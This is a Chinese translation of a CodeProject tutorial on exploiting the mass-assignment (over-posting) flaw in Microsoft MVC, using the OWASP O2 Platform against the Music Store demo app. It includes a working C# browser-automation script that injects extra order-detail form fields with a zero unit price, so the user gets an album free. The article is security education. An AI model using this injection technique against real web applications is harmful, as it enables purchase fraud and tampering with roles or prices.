65.9K
CodeProject 正在变化。 阅读更多。
Home

使用 OWASP O2 平台利用 Microsoft MVC 漏洞

starIconstarIconstarIconstarIcon
emptyStarIcon
starIcon

4.50/5 (2投票s)

2012 年 10 月 7 日

CPOL

8分钟阅读

viewsIcon

53213

downloadIcon

251

使用 OWASP O2 平台利用 Microsoft MVC 漏洞

引言

OWASP O2 平台代表了一种执行、记录和分发 Web 应用程序安全审查的新范式。O2 旨在自动化安全顾问的知识和工作流程,并允许非安全专家访问和消耗安全知识。O2 还可以成为 .NET 非常强大的原型设计和快速开发工具(参见 Visual Studio 扩展  C# REPL - O2 平台)。

在本文中,我们将向您展示如何使用 O2 平台来利用 Microsoft MVC 上的过度发布漏洞。

背景

在过去几年中,我们已经看到了行业如何利用 Web 技术来简化我们的生活,为商业、教育、医疗和通信提供便捷的支持。这种行为并不令人惊讶,因为 Web 是现存的最大系统,并且由于生产者和消费者围绕它创建了一个强大的生态系统。Web 已经发展。最前沿的 Web 技术侧重于设计和用户体验,试图为最终用户提供更好的方法,同时又不忽略目标功能。

但是,遵守 Web 的工作方式非常重要,行业也深知这一点。多年来,产品开发者创建了各种工具来利用 Web 的架构。一种符合标准的示例技术是模型-视图-控制器 (MVC) 架构,它目前是快速构建 Web 应用程序的最受欢迎的工具之一。

行业广泛采用 MVC (Model View Controller) 架构来构建 Web 应用程序,原因有很多,包括一种按照 Web 工作方式(利用 Web 的核心原则)而不是反对它的方式来构建应用程序的方法。但就像所有依赖 Web 的技术一样,它也存在可能被攻击者利用的漏洞。

这种漏洞的一个例子是批量赋值(也称为过度发布或模型绑定)。模型绑定是使用浏览器在 HTTP 请求中发送的数据来创建对象(如果您的框架是 Microsoft .NET,则是 .NET 对象)的过程或机制。重要的是要指出,这是 MVC 架构中的一个旧漏洞(包括 Microsoft 之外的其他框架,如 Ruby on Rails 和 Spring MVC);几个月前,GitHub 就是因为用户利用了这个漏洞而被攻破的。

批量赋值漏洞概述

在 MVC 框架中,批量赋值是一种允许我们使用 HTTP 表单字段中的请求数据来更新模型的机制。根据 HTTP 规范,这可以通过 HTTP 动词或方法来实现,例如 HTTP POST。由于需要更新的数据以表单字段集合的形式出现,用户可以发送一个请求并修改您不想更新的模型中的其他字段。在此架构中,模型包含或表示用户操作的数据,例如模型可能包含业务数据或操作数据的规则和操作。

根据您创建的模型,可能存在一些敏感数据,您不希望被修改,例如,有时模型可能与其他模型有外键关系(例如,带有订单和详细信息的购物车),这些关系可能被间接修改,或者 `isAdmin` 属性用于区分应用程序内的角色和职责。当恶意用户修改您不想修改的模型字段时,漏洞就会被利用。

OWASP O2 平台在识别和利用此漏洞方面的增值

为了演示此漏洞的工作原理,我们将使用一个 O2 脚本,目标网站是一个真实的 Microsoft MVC 应用程序:Music Store。这个优秀的演示应用程序可以从 CodePlex 直接下载,网址是 http://mvcmusicstore.codeplex.com。下图显示了这个 Web 应用程序已启动并正在运行。

ASP.NET MVC Music Store 基本上是一个在线商店或购物车,您可以在其中创建账户并购买您最喜欢的艺术家的专辑。下图显示了按类别的专辑。

这是 Music Store 网站的概述,现在我们创建了一个 Internet Explorer 自动化脚本来利用批量赋值漏洞。

下面的 O2 脚本允许我们自动化注册过程和结账过程。由于该应用程序采用主-详细方法处理订单和详细信息,因此您可以想象订单详细信息包含专辑信息以及与专辑相关的所有信息,包括价格、数量等。

当我们 O2 脚本使用 HTTP 表单字段将新订单注入到订单详细信息中时,批量赋值漏洞就会被利用,这意味着我们在购买一张专辑的同时,还免费获得了第二张专辑。

为了开始,我们需要运行 OWASP O2 平台,最新版本的 OWASP O2 可在 http://tiny.cc/O2Platform 下载。在撰写本文(2012 年 10 月)时,最新版本是 V4.3。从这个特定的链接,我们可以获得 OWASP O2 的独立版本。

运行后,您将看到下面的屏幕。这是我们的启动控制面板,因为我们可以根据需要选择要使用的脚本类型。有多种选项和风格的内置编辑器可以使我们的工作更轻松。

从“编写脚本”下拉列表中,请选择“IE 脚本”,此编辑器允许我们在特定的网站或 Web 应用程序中编写自动化脚本。此编辑器非常强大,因为我们可以轻松地操作页面的 DOM(文档对象模型),从而随时更改行为或 HTML 字段。下图显示了我们需要选择的脚本类型。

默认情况下,OWASP O2 IE 自动化编辑器会生成一个非常有用的模板,创建一个非常简单的测试用例,在 Google 上执行查找。请记住,您的浏览器全球化设置需要与您的语言兼容,例如,如果您的浏览器设置为以西班牙语显示内容,那么 DOM 中组件的名称可能会有所不同。

使用 IE 脚本编辑器,我们将使用下面的 O2 脚本来自动化购物车工作流。

var ie = panel.clear().add_IE().silent(true);
var site = "https://:26641";

Action<string,string,string> register =
    (username, password,email)=>{
                                    ie.open(site + "/Account/Register");
                                    ie.field("UserName").value(username);
                                    ie.field("Email").value(email);
                                    ie.field("Password").value(password);
                                    ie.field("ConfirmPassword").value(password);
                                    ie.button("Register").click();
                               };

Action loginAsTestUser =
    ()=>{
            var user1_name = "test_user".add_RandomLetters(5);
            var user1_email = "test@testuser.com";
            var user1_pwd = "a pwd".add_RandomLetters(10);
            register(user1_name, user1_pwd, user1_email);
        };

Action selectTestProductAndCheckout =
    ()=>{
            ie.link("Rock").scrollIntoView().flash().click();
            //Selection Led Zeppeling I album
            ie.link(" Led Zeppelin I ").scrollIntoView().flash().click();
            ie.link("Add to cart").flash().click();
            ie.link("Checkout >>").flash().click();
        };

Action populateSubmitOrder =
    ()=> {
            var Address = "O2 User Address";
            var City = "O2 User City";
            var Country = "O2 User Country";
            var Email = "O2UserEmail@email.com";
            var FirstName = "O2 User FirstName";
            var LastName = "O2 User LastName";
            var Phone = "O2 User Phone";
            var PostalCode = "AAA BBB";
            var State = "O2 User State";
            var PromoCode = "FREE";   // currently hard coded promotional code
            ie.field("Address").value(Address);
            ie.field("City").value(City);
            ie.field("Country").value(Country);
            ie.field("Email").value(Email);
            ie.field("FirstName").value(FirstName);
            ie.field("LastName").value(LastName);
            ie.field("Phone").value(Phone);
            ie.field("PostalCode").value(PostalCode);
            ie.field("PromoCode").value(PromoCode);
            ie.field("State").value(State);
        };

Action submitOrder =
    ()=> {
            ie.button("Submit Order").click();
            };

Action<string,string> injectField =
    (fieldName, value)=>{
                        ie.field("FirstName")
                          .injectHtml_afterEnd(@"{0}:<input type=""text"" name=""{0}"" value=""{1}"" />"
                                                   .format(fieldName,value));
                };

Action runExploit_1 = 
    ()=>{
            loginAsTestUser();
            selectTestProductAndCheckout();
            populateSubmitOrder();
            /*the following simulates adding this to the POST request following URI Convention:
                OrderDetails[0].OrderDetailId=1&
                OrderDetails[0].OrderId=1&
                OrderDetails[0].AlbumId=1&
                OrderDetails[0].Quantity=1&
                OrderDetails[0].UnitPrice=5*/
            injectField("OrderDetails[0].OrderDetailId","1");
            injectField("OrderDetails[0].OrderId","1");
            injectField("OrderDetails[0].AlbumId","1");
            injectField("OrderDetails[0].Quantity","1");
            injectField("OrderDetails[0].UnitPrice","0");
            submitOrder();
        };

runExploit_1();

return "done";

//O2File:WatiN_IE_ExtensionMethods.cs
//O2Ref:WatiN.Core.1x.dll

现在我们捕获本地流量,以查看我们的 IE 脚本如何将第二张专辑注入到我们的订单详细信息中,展示批量赋值是如何被利用的。通过查看 HTTP POST 表单字段,我们发现注入的参数已发送。请看下图。

脚本成功执行后,是时候查看数据库以确认第二张专辑已作为 HTTP POST 表单字段的一部分动态注入到请求中。

下面的屏幕显示了一个在数据库中用于检索我们所需信息的单个 SQL 查询。事实上,数据库中有一张第二张专辑,用户从未选择过,但却被注入了,这意味着我们已经成功利用了 Microsoft MVC 3 上的自动绑定漏洞。请在下面的网格中查看结果。

但是,这怎么可能呢?

作为 MVC 架构和 HTTP 规范本身的一部分,HTTP POST 动词用于创建新资源,因此在 MVC 架构中,我们有一个 HTTP 表单字段集合。如前所述,模型是此架构最重要的组成部分之一,因为它代表了业务和现实生活中的对象。

在下面的图片中,我们将看到通过使用我们的 OWASP O2 脚本注入另一个专辑的 HTTP POST 表单字段,字段集合将包含注入的专辑,从而在我们的数据库中创建新条目。这很好地说明了批量赋值漏洞在 MVC 世界中的工作原理。只有在攻击者发现您的应用程序的模型后,才能执行此攻击。在这种情况下,我们的脚本明确地向订单详细信息添加了一个新专辑,但我们也可以以同样的方式更改当前用户的安全级别或角色。

令人惊讶的是,批量赋值漏洞并不是一个新话题。它很久以前就被发现了,但包括 Microsoft MVC 和 Spring MVC 在内的最新框架都容易受到这种攻击。遵循这种方法,任何开发人员都可能在这个问题上留下后门,因为很容易犯这个错误。

最后的想法

在本文中,我们展示了如何在 Microsoft MVC 框架上利用批量赋值漏洞。考虑到行业正在采用此框架来构建最高效和符合标准的应用,此用例非常重要。我们还试图说明在我们的应用程序中留下后门以及允许攻击者更改我们产品行为的可能性有多大。

我们再次看到了在软件开发生命周期中使用 OWASP O2 平台来帮助开发人员查找、检测和纠正软件开发周期中产生的安全问题的价值。需要澄清的是,每个平台都创建了一些机制来避免批量赋值漏洞,但这还需要您手动决定在实际化模型时要保护哪些属性。由于这是一个手动过程,只需要有人忽略最佳实践,我们的应用程序就会出现漏洞。

使用 OWASP O2 平台,我们可以看到两种潜在且强大的功能:第一种是 IE 自动化过程,直接访问 HTML 标签;第二种是使用此自动化机制来依赖应用程序安全性。

希望您觉得它很有用!

进一步参考

© . All rights reserved.